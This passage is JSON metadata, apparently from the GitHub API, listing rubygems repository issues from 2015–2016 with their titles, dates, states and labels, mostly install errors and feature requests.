gem","url":"https://github.com/rubygems/rubygems/issues/1326","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOC0yMlQxMjo0MTowNS0wNDowMM4GHMmb","node":{"number":1331,"createdAt":"2015-08-22T16:41:05Z","closedAt":"2016-02-25T03:48:49Z","updatedAt":"2016-02-25T03:48:50Z","state":"CLOSED","title":" An error occurred while installing metasploit-concern (1.0.0), and Bundler cannot continue. #2 ","url":"https://github.com/rubygems/rubygems/issues/1331","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOC0yN1QxMToyNjowNC0wNDowMM4GK9KV","node":{"number":1334,"createdAt":"2015-08-27T15:26:04Z","closedAt":null,"updatedAt":"2016-10-12T21:37:14Z","state":"OPEN","title":"Allow treating warnings as errors during packaging / validation","url":"https://github.com/rubygems/rubygems/issues/1334","labels":{"nodes":[{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0wNFQwMzozODowNi0wNDowMM4GP8e6","node":{"number":1336,"createdAt":"2015-09-04T07:38:06Z","closedAt":"2016-01-20T15:45:51Z","updatedAt":"2016-01-20T15:45:51Z","state":"CLOSED","title":"Getting SSL Certificate Issue When I upgraded my ruby to version 2.0,0","url":"https://github.com/rubygems/rubygems/issues/1336","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0wNFQwMzo0OTo1OS0wNDowMM4GP81W","node":{"number":1337,"createdAt":"2015-09-04T07:49:59Z","closedAt":"2016-02-09T05:13:03Z","updatedAt":"2016-02-09T05:13:03Z","state":"CLOSED","title":"Git dependencies?","url":"https://github.com/rubygems/rubygems/issues/1337","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0wNFQxODozNjowMC0wNDowMM4GQeQd","node":{"number":1338,"createdAt":"2015-09-04T22:36:00Z","closedAt":"2016-02-13T23:32:29Z","updatedAt":"2016-02-13T23:32:30Z","state":"CLOSED","title":".gemrc sources used without deduplication","url":"https://github.com/rubygems/rubygems/issues/1338","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0wOVQwNToyMTo1NC0wNDowMM4GSq7X","node":{"number":1339,"createdAt":"2015-09-09T09:21:54Z","closedAt":"2015-09-09T12:11:39Z","updatedAt":"2015-09-09T12:11:39Z","state":"CLOSED","title":"Please backport r51814 from ruby trunk.","url":"https://github.com/rubygems/rubygems/issues/1339","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0xMFQwNDowNTo1Mi0wNDowMM4GTbD7","node":{"number":1340,"createdAt":"2015-09-10T08:05:52Z","closedAt":"2016-05-01T04:41:46Z","updatedAt":"2016-09-02T12:24:47Z","state":"CLOSED","title":"Error using cygwin","url":"https://github.com/rubygems/rubygems/issues/1340","labels":{"nodes":[{"name":"category: install"},{"name":"status: blocked / backlog"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0yMVQxMjoyMjoxOS0wNDowMM4GaQ7i","node":{"number":1342,"createdAt":"2015-09-21T16:22:19Z","closedAt":"2015-09-21T20:31:46Z","updatedAt":"2015-09-21T20:31:46Z","state":"CLOSED","title":"unusual redirects, slow install","url":"https://github.com/rubygems/rubygems/issues/1342","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0yNFQxNjo1MzowMi0wNDowMM4Gcy99","node":{"number":1345,"createdAt":"2015-09-24T20:53:02Z","closedAt":"2016-02-13T03:50:03Z","updatedAt":"2016-02-13T03:50:04Z","state":"CLOSED","title":"ERROR: While executing gem ... (Errno::ECONNREFUSED) Connection refused - recvfrom(2)","url":"https://github.com/rubygems/rubygems/issues/1345","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0yNFQyMTozODozNC0wNDowMM4Gc7QE","node":{"number":1346,"createdAt":"2015-09-25T01:38:34Z","closedAt":"2015-10-05T23:43:27Z","updatedAt":"2015-10-05T23:43:27Z","state":"CLOSED","title":"ERROR: Error installing ffi-1.9.8.gem: ERROR: Failed to build gem native extension.","url":"https://github.com/rubygems/rubygems/issues/1346","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0yOFQxODoxMDoxNC0wNDowMM4Ge4Aa","node":{"number":1349,"createdAt":"2015-09-28T22:10:14Z","closedAt":"2016-01-17T05:39:13Z","updatedAt":"2016-01-18T22:09:35Z","state":"CLOSED","title":"`alias add_dependency add_runtime_dependency`","url":"https://github.com/rubygems/rubygems/issues/1349","labels":{"nodes":[{"name":"category: gem spec"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0yOVQwNzoxODo0NS0wNDowMM4GfOdN","node":{"number":1350,"createdAt":"2015-09-29T11:18:45Z","closedAt":"2016-08-02T05:40:00Z","updatedAt":"2016-08-02T05:40:00Z","state":"CLOSED","title":"Make \"Unresolved specs during Gem::Specification.reset\" warning more useful","url":"https://github.com/rubygems/rubygems/issues/1350","labels":{"nodes":[{"name":"status: blocked / backlog"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOS0yOVQxMjo1Nzo0Ni0wNDowMM4Gfd/U","node":{"number":1351,"createdAt":"2015-09-29T16:57:46Z","closedAt":"2015-10-15T12:49:54Z","updatedAt":"2015-10-15T12:49:54Z","state":"CLOSED","title":"Command name change for uninstalling gem","url":"https://github.com/rubygems/rubygems/issues/1351","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMC0wNFQxNDo1NDozNi0wNDowMM4GidhA","node":{"number":1352,"createdAt":"2015-10-04T18:54:36Z","closedAt":"2015-10-16T14:28:47Z","updatedAt":"2015-10-16T14:29:33Z","state":"CLOSED","title":"rubygems fails with ''gem help --help''","url":"https://github.com/rubygems/rubygems/issues/1352","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMC0xMFQxMTowNzoxOS0wNDowMM4Gmqm4","node":{"number":1354,"createdAt":"2015-10-10T15:07:19Z","closedAt":null,"updatedAt":"2016-04-30T23:13:15Z","state":"OPEN","title":"performance issue with RUBYGEMS_GEMDEPS when Gemfile has git repos","url":"https://github.com/rubygems/rubygems/issues/1354","labels":{"nodes":[{"name":"category: other"},{"name":"performance"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMC0xNFQxMDoxNzo1My0wNDowMM4Go/S6","node":{"number":1358,"createdAt":"2015-10-14T14:17:53Z","closedAt":null,"updatedAt":"2016-04-30T23:19:45Z","state":"OPEN","title":"\"gem\" calls slow subsequent requires to stdlib","url":"https://github.com/rubygems/rubygems/issues/1358","labels":{"nodes":[{"name":"performance"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMC0xNlQwNToyNjozMC0wNDowMM4GqdmV","node":{"number":1359,"createdAt":"2015-10-16T09:26:30Z","closedAt":"2016-04-18T02:22:42Z","updatedAt":"2016-04-18T02:22:42Z","state":"CLOSED","title":"I can''t install rubygems on ppc64","url":"https://github.com/rubygems/rubygems/issues/1359","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMC0xNlQwOToxMDoyMi0wNDowMM4Gql7y","node":{"number":1360,"createdAt":"2015-10-16T13:10:22Z","closedAt":"2015-10-16T15:08:50Z","updatedAt":"2015-10-16T15:08:50Z","state":"CLOSED","title":"Unresolved specs during Gem::Specification.reset:","url":"https://github.com/rubygems/rubygems/issues/1360","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMC0xOVQxNTo0Njo1OC0wNDowMM4GsFG7","node":{"number":1364,"createdAt":"2015-10-19T19:46:58Z","closedAt":"2016-04-30T23:40:28Z","updatedAt":"2016-04-30T23:40:30Z","state":"CLOSED","title":"Request: officially support `source_url` in gemspec for automated downloads/checkouts of matching source","url":"https://github.com/rubygems/rubygems/issues/1364","labels":{"nodes":[{"name":"category: gem spec"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMC0yMVQwMDo1NDo0My0wNDowMM4GtM93","node":{"number":1365,"createdAt":"2015-10-21T04:54:43Z","closedAt":"2015-10-21T05:13:00Z","updatedAt":"2015-10-21T05:13:00Z","state":"CLOSED","title":"Possible incorrect result for latest version API?","url":"https://github.com/rubygems/rubygems/issues/1365","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMC0yMVQyMDowNDowNi0wNDowMM4Gt7ZG","node":{"number":1366,"createdAt":"2015-10-22T00:04:06Z","closedAt":"2015-10-22T17:28:09Z","updatedAt":"2015-10-22T21:57:26Z","state":"CLOSED","title":"Issue with gem mirror with recent update","url":"https://github.com/rubygems/rubygems/issues/1366","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMC0zMFQxOTowOTo0OC0wNDowMM4G0Slx","node":{"number":1368,"createdAt":"2015-10-30T23:09:48Z","closedAt":"2015-10-31T01:40:00Z","updatedAt":"2015-10-31T21:06:47Z","state":"CLOSED","title":"git:// scheme is not supported in source code URL","url":"https://github.com/rubygems/rubygems/issues/1368","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0wNFQxMDo0ODo1Ny0wNTowMM4G3AaX","node":{"number":1369,"createdAt":"2015-11-04T15:48:57Z","closedAt":"2015-11-07T01:57:14Z","updatedAt":"2015-11-12T09:50:09Z","state":"CLOSED","title":"Installing the qtbindings/nokogiri gem on 64-bit Windows fails starting with rubygems 2.5.0","url":"https://github.com/rubygems/rubygems/issues/1369","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0wNFQxNjo1MDozNC0wNTowMM4G3SYG","node":{"number":1370,"createdAt":"2015-11-04T21:50:34Z","closedAt":"2016-01-16T14:42:57Z","updatedAt":"2016-01-16T14:43:59Z","state":"CLOSED","title":"\"gem install compass\" issue on Windows 7","url":"https://github.com/rubygems/rubygems/issues/1370","labels":{"nodes":[{"name":"category: install"},{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0wNFQxNzo0NzowNi0wNTowMM4G3U7b","node":{"number":1372,"createdAt":"2015-11-04T22:47:06Z","closedAt":"2015-11-04T23:34:00Z","updatedAt":"2015-11-05T02:16:15Z","state":"CLOSED","title":"gem push failed, can''t go back nor forward.","url":"https://github.com/rubygems/rubygems/issues/1372","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0wNlQxNDoxMDozNi0wNTowMM4G421N","node":{"number":1374,"createdAt":"2015-11-06T19:10:36Z","closedAt":null,"updatedAt":"2017-03-11T18:15:23Z","state":"OPEN","title":"Can add a log file, record some thing on gem running?","url":"https://github.com/rubygems/rubygems/issues/1374","labels":{"nodes":[{"name":"category: other"},{"name":"contribution: unclaimed"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0wN1QwMjo0NzowOC0wNTowMM4G5JrG","node":{"number":1376,"createdAt":"2015-11-07T07:47:08Z","closedAt":null,"updatedAt":"2017-12-11T22:41:50Z","state":"OPEN","title":"Support long file/path names for TarWriter/TarReader","url":"https://github.com/rubygems/rubygems/issues/1376","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0xMFQwMzozMDozMC0wNTowMM4G6vNY","node":{"number":1378,"createdAt":"2015-11-10T08:30:30Z","closedAt":"2016-02-09T03:43:37Z","updatedAt":"2016-03-24T07:26:00Z","state":"CLOSED","title":"ECONNRESET: gem install","url":"https://github.com/rubygems/rubygems/issues/1378","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0xMFQxODo1MjoxNi0wNTowMM4G7YWG","node":{"number":1379,"createdAt":"2015-11-10T23:52:16Z","closedAt":"2016-02-06T23:47:09Z","updatedAt":"2016-12-11T14:40:29Z","state":"CLOSED","title":"Error while installing activerecord-jdbc-adapter","url":"https://github.com/rubygems/rubygems/issues/1379","labels":{"nodes":[{"name":"category: other"},{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0xMlQyMTowMzo0OS0wNTowMM4G9HSG","node":{"number":1380,"createdAt":"2015-11-13T02:03:49Z","closedAt":"2015-11-13T03:31:09Z","updatedAt":"2015-11-13T03:31:09Z","state":"CLOSED","title":"Pre-release gems inside a gemspec don''t get installed ","url":"https://github.com/rubygems/rubygems/issues/1380","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0xNFQxODowMTo1MC0wNTowMM4G+KHp","node":{"number":1381,"createdAt":"2015-11-14T23:01:50Z","closedAt":"2015-11-18T08:53:57Z","updatedAt":"2015-11-18T08:53:57Z","state":"CLOSED","title":"Rubygems 2.5.0: Activating railties gem breaks \"require\"","url":"https://github.com/rubygems/rubygems/issues/1381","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0xNVQxMzoxMDoyNC0wNTowMM4G+WmK","node":{"number":1384,"createdAt":"2015-11-15T18:10:24Z","closedAt":"2015-12-02T05:56:47Z","updatedAt":"2016-04-13T19:02:46Z","state":"CLOSED","title":"Blank gem owner?","url":"https://github.com/rubygems/rubygems/issues/1384","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0xN1QwODoxNzo1Ny0wNTowMM4G/qmC","node":{"number":1386,"createdAt":"2015-11-17T13:17:57Z","closedAt":"2016-01-18T23:45:23Z","updatedAt":"2016-01-29T20:32:20Z","state":"CLOSED","title":"Problems with SSL Connection to rubygems.org hanging.","url":"https://github.com/rubygems/rubygems/issues/1386","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0xOFQwNDoyNDo0OS0wNTowMM4HAZq6","node":{"number":1389,"createdAt":"2015-11-18T09:24:49Z","closedAt":"2016-04-30T23:52:22Z","updatedAt":"2016-04-30T23:52:22Z","state":"CLOSED","title":"Installation of Nokogiri fails with RubyGems 2.5.0","url":"https://github.com/rubygems/rubygems/issues/1389","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0xOVQxMjozMzoyNC0wNTowMM4HBnqo","node":{"number":1391,"createdAt":"2015-11-19T17:33:24Z","closedAt":"2015-11-19T21:11:28Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Call `hash -r` after installing to update executables cache","url":"https://github.com/rubygems/rubygems/issues/1391","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0yMFQxNzoyNzoxOC0wNTowMM4HCqu2","node":{"number":1392,"createdAt":"2015-11-20T22:27:18Z","closedAt":null,"updatedAt":"2016-03-10T22:12:16Z","state":"OPEN","title":"require hangs on Windows in 2.5.0 but not 2.4.8","url":"https://github.com/rubygems/rubygems/issues/1392","labels":{"nodes":[{"name":"category: #gem or #require"},{"name":"platform: windows"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0yMlQxNjo1MjoxMS0wNTowMM4HDPus","node":{"number":1393,"createdAt":"2015-11-22T21:52:11Z","closedAt":"2015-12-06T23:02:13Z","updatedAt":"2015-12-06T23:02:13Z","state":"CLOSED","title":"logstash-input-jdbc2.0.5 ","url":"https://github.com/rubygems/rubygems/issues/1393","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0yM1QxMTo0MToyNC0wNTowMM4HDvYz","node":{"number":1394,"createdAt":"2015-11-23T16:41:24Z","closedAt":null,"updatedAt":"2017-01-23T17:10:16Z","state":"OPEN","title":"Make ruby gem install to user-install by default","url":"https://github.com/rubygems/rubygems/issues/1394","labels":{"nodes":[{"name":"category: install"},{"name":"type: feature request"},{"name":"type: major bump"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0yNVQxMzowOToxMi0wNTowMM4HFiu0","node":{"number":1395,"createdAt":"2015-11-25T18:09:12Z","closedAt":"2015-11-25T19:13:11Z","updatedAt":"2016-05-17T16:54:00Z","state":"CLOSED","title":"RubyGems v 2.5.0 bundle issue on ''rails new''","url":"https://github.com/rubygems/rubygems/issues/1395","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMS0zMFQwNjozMDoxOS0wNTowMM4HHweD","node":{"number":1400,"createdAt":"2015-11-30T11:30:19Z","closedAt":"2016-01-07T06:38:32Z","updatedAt":"2016-01-07T06:38:32Z","state":"CLOSED","title":"Problems bundling gems that require gems in the stdlib","url":"https://github.com/rubygems/rubygems/issues/1400","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0wOFQwNTo0NTozNC0wNTowMM4HNgfL","node":{"number":1404,"createdAt":"2015-12-08T10:45:34Z","closedAt":null,"updatedAt":"2017-03-11T18:15:58Z","state":"OPEN","title":"Add add_optional_dependency or add_recommended_dependency","url":"https://github.com/rubygems/rubygems/issues/1404","labels":{"nodes":[{"name":"category: gem spec"},{"name":"contribution: unclaimed"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0wOVQwODo1NzoxNC0wNTowMM4HOg5V","node":{"number":1405,"createdAt":"2015-12-09T13:57:14Z","closedAt":"2015-12-21T10:54:08Z","updatedAt":"2015-12-21T10:54:09Z","state":"CLOSED","title":"Can only require a single ''active_*'' gem in version 2.5.0","url":"https://github.com/rubygems/rubygems/issues/1405","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0wOVQxMzoyNDoxMy0wNTowMM4HOwa6","node":{"number":1406,"createdAt":"2015-12-09T18:24:13Z","closedAt":"2016-01-31T21:57:36Z","updatedAt":"2016-02-01T00:31:19Z","state":"CLOSED","title":"Ensure compatibility with frozen string literals","url":"https://github.com/rubygems/rubygems/issues/1406","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0xMlQwODo1ODozNy0wNTowMM4HQ2bA","node":{"number":1412,"createdAt":"2015-12-12T13:58:37Z","closedAt":"2016-01-08T18:41:28Z","updatedAt":"2016-01-09T22:21:52Z","state":"CLOSED","title":"Ignore whitespace for Licenses warnings","url":"https://github.com/rubygems/rubygems/issues/1412","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0xMlQwOTowMToyOS0wNTowMM4HQ2ep","node":{"number":1413,"createdAt":"2015-12-12T14:01:29Z","closedAt":"2016-04-29T02:09:14Z","updatedAt":"2016-04-29T02:09:14Z","state":"CLOSED","title":"A signing_key without a valid cert gives unfriendly error","url":"https://github.com/rubygems/rubygems/issues/1413","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0xNVQxNTozMDoyNS0wNTowMM4HSw/j","node":{"number":1415,"createdAt":"2015-12-15T20:30:25Z","closedAt":"2016-08-30T17:20:00Z","updatedAt":"2016-08-30T19:09:45Z","state":"CLOSED","title":"Performance issues in DependencyInstaller?","url":"https://github.com/rubygems/rubygems/issues/1415","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0yMVQwNjoxNDoyOS0wNTowMM4HWMMX","node":{"number":1419,"createdAt":"2015-12-21T11:14:29Z","closedAt":"2015-12-21T15:40:40Z","updatedAt":"2016-07-26T12:36:18Z","state":"CLOSED","title":"NoMethodError: undefined method `spec'' for nil:NilClass","url":"https://github.com/rubygems/rubygems/issues/1419","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0yMlQxMjo0Mzo0MS0wNTowMM4HXNth","node":{"number":1420,"createdAt":"2015-12-22T17:43:41Z","closedAt":"2016-04-05T17:31:58Z","updatedAt":"2017-03-08T17:41:50Z","state":"CLOSED","title":"undefined method `this''","url":"https://github.com/rubygems/rubygems/issues/1420","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0yNFQyMzowMTo0My0wNTowMM4HYc//","node":{"number":1422,"createdAt":"2015-12-25T04:01:43Z","closedAt":null,"updatedAt":"2016-04-22T22:10:36Z","state":"OPEN","title":"GEM_PATH being reset on extconf.rb extensions","url":"https://github.com/rubygems/rubygems/issues/1422","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0yNVQwOToxMDoyOS0wNTowMM4HYk2W","node":{"number":1423,"createdAt":"2015-12-25T14:10:29Z","closedAt":"2016-01-31T05:09:39Z","updatedAt":"2016-01-31T05:09:39Z","state":"CLOSED","title":"ruby is invalid license type","url":"https://github.com/rubygems/rubygems/issues/1423","labels":{"nodes":[{"name":"category: gem spec"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0yNVQyMjo0NjowNi0wNTowMM4HYqsC","node":{"number":1426,"createdAt":"2015-12-26T03:46:06Z","closedAt":"2016-05-18T18:37:01Z","updatedAt":"2016-05-18T18:37:01Z","state":"CLOSED","title":"gem install fpm error","url":"https://github.com/rubygems/rubygems/issues/1426","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0yOFQwNDowMDozNy0wNTowMM4HZKnW","node":{"number":1427,"createdAt":"2015-12-28T09:00:37Z","closedAt":"2015-12-30T01:03:44Z","updatedAt":"2015-12-30T01:03:44Z","state":"CLOSED","title":"warning: regular expression has '']'' when I run `gem li a]`","url":"https://github.com/rubygems/rubygems/issues/1427","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0zMFQwODozNjoyNi0wNTowMM4HaWjX","node":{"number":1428,"createdAt":"2015-12-30T13:36:26Z","closedAt":"2016-02-27T23:55:15Z","updatedAt":"2016-02-27T23:55:15Z","state":"CLOSED","title":"How do I add an extra signing cert to an existing gem?","url":"https://github.com/rubygems/rubygems/issues/1428","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0zMFQxODoxNDo1My0wNTowMM4HamHl","node":{"number":1429,"createdAt":"2015-12-30T23:14:53Z","closedAt":"2016-02-20T00:31:40Z","updatedAt":"2016-02-20T00:31:40Z","state":"CLOSED","title":"Get LGTM hooked up to this repository","url":"https://github.com/rubygems/rubygems/issues/1429","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0xMi0zMFQxODoxNTo0MS0wNTowMM4HamIm","node":{"number":1430,"createdAt":"2015-12-30T23:15:41Z","closedAt":"2016-04-05T01:14:52Z","updatedAt":"2016-04-05T01:14:52Z","state":"CLOSED","title":"Protect the default branch from merge unless statuses pass","url":"https://github.com/rubygems/rubygems/issues/1430","labels":{"nodes":[{"name":"type: documentation"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0wM1QwMDoxNzowNi0wNTowMM4HbbKe","node":{"number":1437,"createdAt":"2016-01-03T05:17:06Z","closedAt":"2016-01-03T05:17:37Z","updatedAt":"2016-01-03T05:17:37Z","state":"CLOSED","title":"t update rubygems","url":"https://github.com/rubygems/rubygems/issues/1437","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0wNFQwNToyMzozNi0wNTowMM4Hb0Ek","node":{"number":1439,"createdAt":"2016-01-04T10:23:36Z","closedAt":"2016-01-05T01:12:28Z","updatedAt":"2016-01-05T08:54:48Z","state":"CLOSED","title":"VMC Gem - 500 error on dependencies ","url":"https://github.com/rubygems/rubygems/issues/1439","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0wNlQxMjozOToyOS0wNTowMM4HdspG","node":{"number":1440,"createdAt":"2016-01-06T17:39:29Z","closedAt":"2016-01-06T17:39:31Z","updatedAt":"2016-01-06T17:39:31Z","state":"CLOSED","title":"lear","url":"https://github.com/rubygems/rubygems/issues/1440","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0wNlQxODowMzo1Mi0wNTowMM4Hd6vM","node":{"number":1442,"createdAt":"2016-01-06T23:03:52Z","closedAt":"2017-03-11T17:32:35Z","updatedAt":"2017-03-11T17:32:35Z","state":"CLOSED","title":"Triage all the issues and apply appropriate labels","url":"https://github.com/rubygems/rubygems/issues/1442","labels":{"nodes":[{"name":"type: documentation"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0wN1QwMDoxNzo1NC0wNTowMM4HeEvL","node":{"number":1445,"createdAt":"2016-01-07T05:17:54Z","closedAt":"2016-01-07T05:38:10Z","updatedAt":"2016-01-07T05:39:02Z","state":"CLOSED","title":"wrong readme file of rails-asset-jqueryui","url":"https://github.com/rubygems/rubygems/issues/1445","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0wOVQxOTozMDoyOC0wNTowMM4Hf2ji","node":{"number":1448,"createdAt":"2016-01-10T00:30:28Z","closedAt":"2016-01-24T08:20:42Z","updatedAt":"2017-11-23T21:58:45Z","state":"CLOSED","title":"getting \"Gem::Package::PathError: installing into parent path\" when building with rubygems ~> 2.5","url":"https://github.com/rubygems/rubygems/issues/1448","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0xMVQxMjowNzozMi0wNTowMM4Hgnpd","node":{"number":1449,"createdAt":"2016-01-11T17:07:32Z","closedAt":"2016-01-11T21:32:34Z","updatedAt":"2016-01-18T22:09:35Z","state":"CLOSED","title":"Host is down (Gem::RemoteFetcher::FetchError)","url":"https://github.com/rubygems/rubygems/issues/1449","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0xMlQxNzoxNzoyNi0wNTowMM4HhwnV","node":{"number":1451,"createdAt":"2016-01-12T22:17:26Z","closedAt":null,"updatedAt":"2016-09-09T20:23:17Z","state":"OPEN","title":"unable to require json with unresolved dependencies for it","url":"https://github.com/rubygems/rubygems/issues/1451","labels":{"nodes":[{"name":"platform: osx"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0yMVQwNDo0MToxOS0wNTowMM4Hn1eN","node":{"number":1456,"createdAt":"2016-01-21T09:41:19Z","closedAt":"2016-01-25T17:55:32Z","updatedAt":"2016-01-25T17:55:32Z","state":"CLOSED","title":"Building Ruby 2.3.0 from Source fails","url":"https://github.com/rubygems/rubygems/issues/1456","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0yNlQwNjozMzoyNS0wNTowMM4HrUUi","node":{"number":1459,"createdAt":"2016-01-26T11:33:25Z","closedAt":"2016-09-16T17:39:40Z","updatedAt":"2016-09-16T17:39:40Z","state":"CLOSED","title":"More visibility for the resolved ruby version dependency for gems","url":"https://github.com/rubygems/rubygems/issues/1459","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0yNlQwOToyMDoyMi0wNTowMM4HrdZe","node":{"number":1460,"createdAt":"2016-01-26T14:20:22Z","closedAt":"2016-02-10T17:14:24Z","updatedAt":"2016-02-15T15:27:11Z","state":"CLOSED","title":"Specify gem version for gem open","url":"https://github.com/rubygems/rubygems/issues/1460","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0yNlQyMzoxNDo1Ny0wNTowMM4HsMId","node":{"number":1461,"createdAt":"2016-01-27T04:14:57Z","closedAt":"2016-01-27T13:48:36Z","updatedAt":"2016-01-27T13:48:36Z","state":"CLOSED","title":"remove temporary library directory","url":"https://github.com/rubygems/rubygems/issues/1461","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0yOFQxMjoxNDoyOC0wNTowMM4HuD7Y","node":{"number":1463,"createdAt":"2016-01-28T17:14:28Z","closedAt":"2016-02-11T04:06:54Z","updatedAt":"2016-02-17T09:17:42Z","state":"CLOSED","title":"VMC Gem - bundler API error","url":"https://github.com/rubygems/rubygems/issues/1463","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMS0yOVQxODoxODowNy0wNTowMM4HvkJU","node":{"number":1465,"createdAt":"2016-01-29T23:18:07Z","closedAt":null,"updatedAt":"2016-06-09T09:20:11Z","state":"OPEN","title":"Local prereleases don''t activate \"prerelease mode\"","url":"https://github.com/rubygems/rubygems/issues/1465","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wMi0wMVQwNDo1MzozOS0wNTowMM4HxGzW","node":{"number":1470,"createdAt":"2016-02-01T09:53:39Z","closedAt":null,"updatedAt":"2017-12-22T11:35:21Z","state":"OPEN","title":"Documentation is not generated when --install-dir is used.","url":"https://github.com/rubygems/rubygems/issues/1470","labels":{"nodes":[{"name":"type: bug 